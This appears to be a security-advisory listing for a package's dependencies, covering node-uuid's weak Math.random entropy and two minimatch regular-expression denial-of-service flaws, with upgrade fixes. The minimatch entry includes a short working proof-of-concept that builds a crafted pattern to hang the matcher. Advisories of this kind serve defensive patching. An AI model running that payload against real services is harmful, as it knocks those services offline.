All the vulnerabilities related to the version 0.3.1 of the package
Insecure Entropy Source - Math.random() in node-uuid
Affected versions of node-uuid
consistently fall back to using Math.random
as an entropy source instead of crypto
, which may result in guessable UUID's.
Update to version 1.4.4 or later.
Regular Expression Denial of Service in minimatch
Affected versions of minimatch
are vulnerable to regular expression denial of service attacks when user input is passed into the pattern
argument of minimatch(path, pattern)
.
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.
